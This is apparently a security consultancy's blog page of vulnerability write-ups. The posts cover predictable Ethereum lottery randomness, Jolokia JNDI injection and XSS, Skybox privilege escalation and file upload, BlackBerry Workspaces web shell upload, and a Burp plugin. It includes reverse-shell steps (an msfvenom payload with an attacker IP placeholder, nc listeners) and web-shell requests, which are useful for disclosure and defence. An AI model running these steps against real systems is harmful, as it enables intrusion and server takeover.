RSS Feed

Breaking Randomness in the Ethereum Universe [part 1]

It is widely acknowledged that generating secure random numbers on the Ethereum blockchain is difficult due to its deterministic nature. Each time a smart contract’s function is called inside of a transaction, it must be replayed and verified by the rest of the network. This is crucial so that it is not possible for a miner to manipulate the internal state during execution and modify the result for their own benefit. For example, if the Ethereum Virtual Machine (EVM) provided functionality to generate a random number using a cryptographically secure random source on the miner’s system, it would not be possible to confirm that the random number generated had not been manipulated by the miner. Another more important reason however, is that this would not be determinsitic and if ether is transferred or alternative code paths are taken based on decisions made inside the function as a result of the generated number, the contract’s ether balance and storage state may be inconsistent with the view of the rest of the network.

This post is the first in a three-part series where we will look at some of the techniques developers are using to generate numbers that appear to be random in the deterministic Ethereum environment, and look at how it is possible in-practice to exploit these random number generators for our advantage. Our first post will focus on generating random numbers on-chain and what the security implications of doing so are. In the remaining two posts we will review another two commonly used techniques including using oracles and participatory schemes where numbers are provided via multiple participants.

Sources of Entropy in Ethereum

We have proposed that we cannot trust a single miner to generate a “high quality” random number for our smart contract and that if a “random” number is produced, the same number must be produced when other nodes of the network execute the smart contract code for verification. One method that is commonly used is the use of a Pseudorandom Number Generator (PRNG), which will produce a series of bytes that look random in a deterministic way, based on an initial private seed value and internal state.

The Ethereum blockchain provides a number of block properties that are not controllable by a single user of the network and are only somewhat controllable by miners, such as the timestamp and coinbase. When using these block properties as a source of entropy for an initial seed to a PRNG, it may well look sufficient as the output appears to look random and the seed value cannot be directly manipulated by users of the smart contract.

The following block variables are commonly used when generating random numbers on-chain:

  • block.blockhash(uint blockNumber): hash of the given block (only works for 256 most recent blocks excluding current)

  • block.number: current block number

  • block.coinbase: current block miner’s address

  • block.timestamp: current block timestamp as seconds since unix epoch 

The main advantages of using block properties as a seed for randomness is they are simple to implement and the resulting random numbers are immediately available to the smart contract. This simplicity, speed and lack of dependence on external parties or systems makes the use of block properties a desirable option. It is often assumed that when using block properties as a source of randomness, only miners would be in a position to cheat. For example, if the output number did not work in their favour, they can throw away the block and wait for a new block whereby the generated number worked in their favour. 

With the assumption that only miners are able to exploit the number generation using block properties as a seed, there are multiple blog posts, Reddit posts, and Stack Overflow threads regarding when it is safe to use these properties for random number generation. These often incorrectly state that it is acceptable to use block properties only when the potential payout is less than the mining reward, as it would not be beneficial for a malicious miner to throw out the block. However, this is not case, as we will see when we analyse and exploit the vulnerable smart contracts below.

Exploiting a Simple Number Guessing Smart-Contract

Firstly we will look a naïve, yet not uncommon implementation using the block.blockhash property. The GuessingGame smart contract allows the participant to guess a randomly generated number. If the participant guesses correctly they win twice their initial bet.

If we look at the badRandom function, we can see how the random number is generated by casting the blockhash of the previous block to an unsigned integer, then performing a modulus operation:

This will appear to provide a random value between 1 and 10 (unfortunately this also introduces a modulo bias meaning that some values are more likely than others). As the previous block number is not controllable by an attacker it cannot be manipulated to produce a random number in the attackers favour… however, the seed is known to the attacker. It is therefore possible to predict what the next winning number will be and beat the house. One potential problem with this approach, is that the attacker needs to take the current block number, get the blockhash, generate the next number and make sure their bet was placed in the very next block. 

This isn’t very feasible to do manually, however we can get around this by calculating the next winning number on-chain, then make an external contract call to the GuessingGame with the correct number. The following attacker contract will always predict the winning number when the cheat() function is called.

Another Vulnerable ‘Lottery’ Style Game

The above contract will allow us to always take away the winnings, however, can we still exploit this type of random number generation when the generation takes place at some point in the future? To explore this, we have the following lottery style smart contract where participants can buy a ticket in a draw. When enough tickets have been sold a winner can be selected. A common, but problematic, coding pattern is shown below:

By looking at the buyTicket function below, there is nothing the attacker can control when buying a ticket, other than waiting for specific tickets to be sold and buying theirs at a specific point, such as waiting for 2 to be sold and then attempting to purchase the 3rd.

Lets now look at how the winning ticket is chosen:

Firstly, there is a require statement to ensure that the winner can only be chosen once the required number of tickets have been sold. If this requirement is met the sale is over and a random number is generated. In this case we have no control over what the winnerIndex will be, however we can calculate who the winner will be before invoking the drawWinner() function. Allowing the attacker to wait until a blockhash is used that generates a random number making the attacker the winner.

The problem with this approach is that the attacker needs to know which ticket they have, or at which index in the drawParticipants array their account address is located. Within the blockchain, even private variables are readable by everyone, even if the contract does not directly expose them. The web3.eth.getStorageAt(contractAddress, index) method can be used to look into the contracts persistent storage and identify which ticket is the attackers.

The attacker contract below will take the desired winner index, then calculate if that index is going to win the draw during the current block. If the desired winner is going to be selected, the drawWinner() function is called and the attacker takes home the contract balance. If the attacker is not going to win, the call returns before drawing the winner. The attacker just needs to repeatedly call the cheat(winnerIndex) function until the blockhash outputs a number that results in the correct winner. It is true that this process is going to cost the attacker in transaction fees for each repeated call, however this is likely to be negligible when compared to a games payout.

The primary drawback with this approach is that if the drawWinner() function is called by another participant, then the next winner may be chosen at a blocknumber which does not result in the attacker winning. Another issue is that depending on the number of participants, the attacker may need to submit a large number of transactions before they are chosen.

A partial mitigation?

As games are typically designed to be played by real players, rather than other smart contracts, we could look to identify whether the player’s address is a regular Externally Controlled Account (EOA) or a smart contract account. It appears this can currently be achieved by using inline assembly and the EXTCODESIZE opcode, which returns the size of the CODE property of an external Ethereum account using its address. For example, this could be implemented with the following:

This will restrict specific functions from only being called from Externally Owned Accounts and therefore mitigate the attacks outlined above. However, this does not mitigate against attacks from malicious miners and will likely break under future accounts created under the Ethereum account abstraction proposed in EIP-86 which is scheduled for Constantinople Metropolis stage 2.

The practise of generating pseudo-random numbers using block properties is highly discouraged. We have looked at how an attacker can actually exploit such PRNG implementations via external contract calls, which allow an attacker to predict the next number to be generated in the same block. Whilst a partial mitigation does exist to prevent the specific attacks mentioned, block properties and on-chain data are always public and therefore carry the risk that an attacker may be able to predict the winning number and use it for their advantage.    

In the following two parts of this series, we will analyse the use of generating random numbers using participatory schemes where numbers are provided via multiple participants, and through the use of external sources of randomness that are consumed via the use of Oracles.


Jolokia Vulnerabilities - RCE & XSS

Recently, during a client engagement, Gotham Digital Science found a couple of zero-day vulnerabilities in the Jolokia service. Jolokia is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology. It contains an API we can use for calling MBeans registered on the server and read/write their properties. JMX technology is used for managing and monitoring devices, applications, and service-driven networks.

The following issues are described below:

Affected versions:

  • 1.4.0 and below. Version 1.5.0 addresses both issues.

Before we start, a little humour - if someone thinks that the documentation is useless for bug hunters, look at this:

Remote Code Execution via JNDI Injection

The Jolokia service has a proxy mode that was vulnerable to JNDI injection by default before version 1.5.0. When the Jolokia agent is deployed in proxy mode, an external attacker, with access to the Jolokia web endpoint, can execute arbitrary code remotely via JNDI injection attack. This attack is possible since the Jolokia library initiates LDAP/RMI connections using user-supplied input.

JNDI attacks were explained at the BlackHat USA 2016 conference by HP Enterprise folks, and they showed some useful vectors we can use to turn them into Remote Code Execution.

If a third-party system uses Jolokia service in proxy mode, this system is exposed to remote code execution through the Jolokia endpoint. Jolokia, as a component, does not provide any authentication mechanisms for this endpoint to protect the server from an arbitrary attacker, but this is strongly recommended in the documentation.

Steps to reproduce:

For demonstration purposes we’ll run all of the components in the exploit chain on the loopback interface.
  1. The following POST request can be used to exploit this vulnerability:

  2. We need to create LDAP and HTTP servers in order to serve a malicious payload. These code snippets were originally taken from marshalsec and zerothoughts GitHub repositories.

  3. After that we need to create an with reverse shell command. The bytecode of this class will be served from our HTTP server:

  4. The LDAP Server should be run with the following command line arguments: 9092
    • is the URL of the attacker’s HTTP server
    • ExportObject is name of the Java class containing the attacker’s code
    • 9092 is the LDAP server listen port
  5. Start an nc listener on port 7777:

    $ nc -lv 7777
  6. After the reuqest shown in step #1 is sent, the vulnerable server makes request to the attacker’s LDAP server.

  7. When the LDAP server, listening on the port 9092, receives a request from the vulnerable server, it creates an Entry object with attributes and returns it in the LDAP response.

    e.addAttribute("javaClassName", "ExportObject");
    e.addAttribute("javaCodeBase", "");
    e.addAttribute("objectClass", "javaNamingReference");
    e.addAttribute("javaFactory", "ExportObject");
  8. When the vulnerable server receives the LDAP response, it fetches the ExportObject.class from the attacker’s HTTP server, instantiates the object and executes the reverse shell command.

  9. The attacker receives the connection back from the vulnerable server on his nc listener.

Cross-Site Scripting

The Jolokia web application is vulnerable to a classic Reflected Cross-Site Scripting (XSS) attack. By default, Jolokia returns responses with application/json content type, so for most cases inserting user supplied input into the response is not a big problem. But it was discovered from reading the source code that it is possible to modify the Content-Type of a response just by adding a GET parameter mimeType to the request:


After that, it was relatively easy to find at least one occurrence where URL parameters are inserted in the response ‘as is’:


With text/html Content Type, the classic reflected XSS attack is possible. Exploiting this issue allows an attacker to supply arbitrary client-side javascript code within application input parameters that will ultimately be rendered and executed within the end user’s web browser. This can be leveraged to steal cookies in the vulnerable domain and potentially gain unauthorised access to a user’s authenticated session, alter the content of the vulnerable web page, or compromise the user’s web browser.

And at the end,

  • advice for bug hunters – read documentation! Sometimes it’s useful!
  • recommendation for Jolokia users - update the service to version 1.5.0.


Many thanks to Roland Huss from the Jolokia project for working diligently with GDS to mitigate these issues.

Skybox Vulnerabilities


Gotham Digital Science (GDS) recently discovered multiple vulnerabilities that affect the Skybox Manager Client Application and the Skybox Server. These consist of user privilege elevation, arbitrary file upload, password hash disclosure and user enumeration. The following CVEs have been assigned:

  • CVE-2017-14773 - Privilege Elevation During Authentication
  • CVE-2017-14771 - Arbitrary File Upload
  • CVE-2017-14770 - Password Hash Disclosure
  • CVE-2017-14772 - Username Enumeration

This post will describe in detail how GDS found these vulnerabilities.

Vulnerable Versions

  • Skybox Manager Client Application version 8.5.500 and earlier are vulnerable.
  • All versions are affected by CVE-2017-14772


The Skybox Manager Client is a Java thick application that enables you to determine your network’s attack surface, perform vulnerability and threat management, maintain firewalls on your network, and manage network change requests.

When testing Java thick applications, it is beneficial to attach a debugger to enable you to step through the application logic and bypass front end validation. Often vendors rely only on front end validation on the client to secure themselves from malicious input, but by having a debugger attached an adversary can change variable values during run time. It is then up to the server to validate the user input. Having a functional client that can be manipulated in this manner is far more efficient than reverse engineering and writing a malicious client.

How to Attach a debugger to a Java thick application

We will use the free to use community edition of IntelliJ. In the installation folder of the Skybox application, find all the associated jar files. Once all of them are located, import these into a new project.

With Skybox running, make use of Process Explorer to determine how the application can be run from the command line, this will enable us to restart the application with a listener to enable us to attach to it with the IntelliJ debugger.
Using Process Explorer this is what we found:

"C:\Skybox\app\bin\..\..\thirdparty\jdk1.8.0_66b\bin\javaw"   "-Dfile.encoding=UTF-8" "-Djdk.lang.Process.allowAmbigousCommands=true" "-Dawt.useSystemAAFontSettings=on" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Dskybox.enable_preload_enums=true" "-verbose:gc" "-Xloggc:../log/debug/app_gc.log" "-XX:+PrintGCDateStamps" "-XX:+PrintGCDetails" "-XX:+UseGCLogFileRotation" "-XX:NumberOfGCLogFiles=5" "-XX:GCLogFileSize=50M" "-XX:-TraceClassUnloading" "-XX:+DisableExplicitGC" "-XX:+UseTLAB" "-XX:-OmitStackTraceInFastThrow" "-XX:+PrintCommandLineFlags" "-XX:+UseParNewGC" "-XX:+UseConcMarkSweepGC" "-XX:+CMSClassUnloadingEnabled" "-Xms50m" "-Xmx512m" "" -Djava.endorsed.dirs="C:\Skybox\app\bin\..\..\thirdparty\jboss\lib\endorsed" -Djboss.bind.address= -Dskyboxview.home="C:\Skybox\app\bin\.." -Dskyboxview.base="C:\Skybox\app\bin\..\..""C:\Skybox\app\bin\..\..\data" -Dskyboxview.ds=mysql -Dsree.home="C:\Skybox\app\bin\..\conf" -cp "C:\Skybox\app\bin\..\lib\classpath.ext;C:\Skybox\app\bin\..\lib\classpath.ext;;;;C:\Skybox\app\bin\..\conf;../lib/skyboxview-app.jar"


We then add the following before running the above in the command line:



So our command line looks like this:

"C:\Skybox\app\bin\..\..\thirdparty\jdk1.8.0_66b\bin\java" -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 "-Dfile.encoding=UTF-8" "-Djdk.lang.Process.allowAmbigousCommands=true" "-Dawt.useSystemAAFontSettings=on" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Dskybox.enable_preload_enums=true" "-verbose:gc" "-Xloggc:../log/debug/app_gc.log" "-XX:+PrintGCDateStamps" "-XX:+PrintGCDetails" "-XX:+UseGCLogFileRotation" "-XX:NumberOfGCLogFiles=5" "-XX:GCLogFileSize=50M" "-XX:-TraceClassUnloading" "-XX:+DisableExplicitGC" "-XX:+UseTLAB" "-XX:-OmitStackTraceInFastThrow" "-XX:+PrintCommandLineFlags" "-XX:+UseParNewGC" "-XX:+UseConcMarkSweepGC" "-XX:+CMSClassUnloadingEnabled" "-Xms50m" "-Xmx512m" "" -Djava.endorsed.dirs="C:\Skybox\app\bin\..\..\thirdparty\jboss\lib\endorsed" -Djboss.bind.address= -Dskyboxview.home="C:\Skybox\app\bin\.." -Dskyboxview.base="C:\Skybox\app\bin\..\..""C:\Skybox\app\bin\..\..\data" -Dskyboxview.ds=mysql -Dsree.home="C:\Skybox\app\bin\..\conf" -cp "C:\Skybox\app\bin\..\lib\classpath.ext;C:\Skybox\app\bin\..\lib\classpath.ext;;;;C:\Skybox\app\bin\..\conf;../lib/skyboxview-app.jar"


Heading over to IntelliJ, we run the debugger for a remote process. Once the debugger is attached you have the ability to navigate the decompiled jar files and find interesting bugs!

CVE-2017-14773 - Privilege Elevation During Authentication

Attach a debugger to the application. In the LoginDialog class, place a breakpoint on the following line:

LoginResult loginResult = HttpBusinessServiceDelegator.loginEx(this.loginName, newPasswd);


This is located at:




Authenticate as a low privileged user and change the value of this.loginName to that of a another valid user. Below we replaced the user lowpriv with the default administration account, skyboxview:


A response is then received by the client that contains the hashed password of the substituted user (skyboxview). The server should not return this password hash during password authentication, the password should be validated on the server. This issue has been assigned CVE-2017-14770 - Password Hash Disclosure.


Further inspection of the application code revealed that a predictable salt value of 123username45 is used when hashing the password. This code is in the PasswordUtil class:


This makes it significantly easier for a threat actor to crack leaked password hashes for predictable user accounts.


Allowing the login process to continue, the threat actor is then logged in as the target user, in this case an administrator, even though they provided credentials for another account.

Now that we have a high privileged account we will try do something malicious with this newly found access.


CVE-2017-14771 - Arbitrary File Upload

With the debugger attached to the thick application. In the file C:\Skybox\app\lib\skyboxview-app.jar add a breakpoint on the method putFileOnServerAndWarnBeforeOverride in the AppFileManager class.

Generate a reverse shell payload using msfvenom:

# msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT=<PORT> -f exe -o jps.exe

GDS observed that the executable jps.exe is periodically run by the Skybox server and thereafter replaced this file with our reverse shell.

Once an upload to the Skybox server is initiated the debugger will pause the client side component and we are able to specify an absolute path for the uploaded file to be saved on the server. The server does not validate the location of the file to be uploaded.

Specifying a file to upload

In the debugger

Note the application enforces a relative path of Temp\[file name]’for the variable destinationFileName. However, a threat actor can manipulate this value with a debugger attached.

By changing the destinationFileName value to: C:\Skybox\thirdparty\jdk1.8.0_66b\bin\jps.exe the threat actor will overwrite the original jps.exe with their malicious version.

Edited file path

The user is then presented with a dialog stating that the file was successfully uploaded to /data/temp.

Successful upload

The threat actor will then need to listen on their machine for the incoming connection as seen below.

Ncat listening for the incoming connection on port 4443

In summary, from a low privileged user GDS has manged to elevate their privileges to that of an administrator, with an added bonus of retrieving this user’s password hash for later cracking. This allowed uploading of arbitrary files to the Skybox server. By abusing the server’s trust that the client validated user input, GDS has overwritten an existing file that is executed periodically to gain remote shell access to the Skybox server. A special thanks to Elliot Ward who helped during the early stages of exploitation that lead to the arbitrary file upload vulnerability.


GDS recommends that affected users update immediately to version 8.5.501 or later of the application. For more information please see:
Skybox Product Security Advisory


Remote Code Execution in BlackBerry Workspaces Server


Gotham Digital Science (GDS) has discovered a vulnerability affecting BlackBerry Workspaces Server (formerly WatchDox). Prior to being patched, it was possible to remotely execute arbitrary code by exploiting insecure file upload functionality as an unauthenticated user. Additionally, source code disclosure was possible by issuing an HTTP request for a Node.js file inside of the server’s webroot.

CVE-2017-9367 and CVE-2017-9368 were discovered by Eric Rafaloff during a client engagement conducted by Gotham Digital Science.

BlackBerry’s security advisory regarding these vulnerabilities is available here: BSRT-2017-006

Vulnerable Versions

The following Workspaces Server components are known to be vulnerable:

  • Appliance-X versions 1.11.2 and earlier
  • vApp versions 5.6.0 to 5.6.6
  • vApp versions 5.5.9 and earlier


  • 5/10/17 - CVE-2017-9367 and CVE-2017-9368 disclosed to BlackBerry.
  • 5/10/17 - BlackBerry acknowledges receiving our report.
  • 5/16/17 - BlackBerry confirms that an investigation has started.
  • 6/6/17 - BlackBerry confirms the reported security vulnerabilities and communicates that they will be issuing two CVEs.
  • 6/28/17 - BlackBerry confirms that development has started on fixes for the two reported vulnerabilities, requests delay of disclosure.
  • 9/6/17 - BlackBerry states that their advisory is expected to be made on September 12th.
  • 9/7/17 - BlackBerry states that their advisory will need to be pushed back until October 10th, requests additional delay of disclosure.
  • 9/13/17 - BlackBerry requests additional delay of disclosure to October 16th.
  • 10/16/17 - GDS and BlackBerry coordinated disclosure.

GDS commends BlackBerry for their diligence and consistent communication during the disclosure process.

Issue Description

The BlackBerry Workspaces Server offers a file server API, with which files can be uploaded and downloaded. GDS found that by making an unauthenticated HTTP GET request for /fileserver/main.js, it was possible to view the file server’s source code (CVE-2017-9368).

Reproduction Request #1

GET /fileserver/main.js HTTP/1.1

Reproduction Response #1

HTTP/1.1 200 OK

By analyzing this disclosed source code, GDS located a directory traversal vulnerability affecting the saveDocument endpoint of the file server API. This endpoint did not require authentication, and when exploited allowed GDS to obtain remote code execution by uploading a web shell to the server’s webroot (CVE-2017-9367).

Reproduction Request #2

POST /fileserver/saveDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------1484231460308104668732082159
Content-Length: 1286
Content-Disposition: form-data; name="uuid"
Content-Disposition: form-data; name="fileName"
Content-Disposition: form-data; name="store"
Content-Disposition: form-data; name="uploadFile"; filename="test"

Reproduction Response #2

HTTP/1.1 200 OK

Reproduction Request #3

GET /whiteLabel/shell.jsp?cmd=whoami HTTP/1.1

Reproduction Response #3

HTTP/1.1 200 OK
<pre>Command was: <b>whoami</b>


CVE-2017-9368 allows unauthorized disclosure of application source code. This can be exploited by an unauthenticated user to discover additional security vulnerabilities (such as CVE-2017-9367).

CVE-2017-9367 allows an unauthenticated user to upload and run executable code, and as such can be used to compromise the integrity of the entire application and its data. For example, upon exploitation of this vulnerability, GDS was able to read the contents of the Workspace Server’s database and compromise highly sensitive information.


GDS recommends that affected users update immediately to a patched version of the product. BlackBerry has confirmed that the following Workspaces Server components are not affected:

  • Appliance-X version 1.12.0 and later
  • Appliance-X version 1.11.3 and later
  • vApp version 5.7.2 and later
  • vApp version 5.6.7 and later
  • vApp version 5.5.10 and later

Pentesting Fast Infoset based web applications with Burp

If you run into a .NET application you sometimes end up with some not very well known protocols like WCF Binary protocol or, in a recent case, a Fast Infoset binary encoding - a binary encoding of the XML Infoset and an alternative to the usual text-based XML Infoset encoding. We will briefly describe the Fast Infoset format and present a Burp plugin, which facilitates pentesting web applications using this XML representation.

Fast Infoset is a lossless compression format for XML-based data. The format is mostly utilised in web applications that transfer a large amount of data between a client and a server; usually a thick client processing data offline and exchanging data infrequently with a server. You can identify that Fast Infoset is involved when an HTTP request uses a Content-Type of application/fastinfoset.

An example request may look like this:

If you decompress the body with gzip, it is a little bit more readable.

From an attacker’s perspective, the main problem with this encoding format is that you can’t easily edit requests or responses on-the-fly like you would with text-based message bodies.Since the encoding relies on the previous and following strings, if you try to tamper with the data, the server will throw an exception saying that the data which you just have sent it is not properly encoded.

Some quick research revealed a few public repositories implementing Fast Infoset decoding but only one was working properly (written by Lu Jun). However, this plugin does not support editing and re-encoding decoded Fast Infoset data, only viewing it.

We decided it would be a worthwhile effort to develop a fully working Burp plugin for decoding and encoding Fast Infoset based requests. You can find a compiled JAR and the corresponding source code in the following Github repository:

Once you load the plugin via Burp extender, you can easily view decoded Fast Infoset requests and responses, and tamper with them in Burp Proxy and Repeater.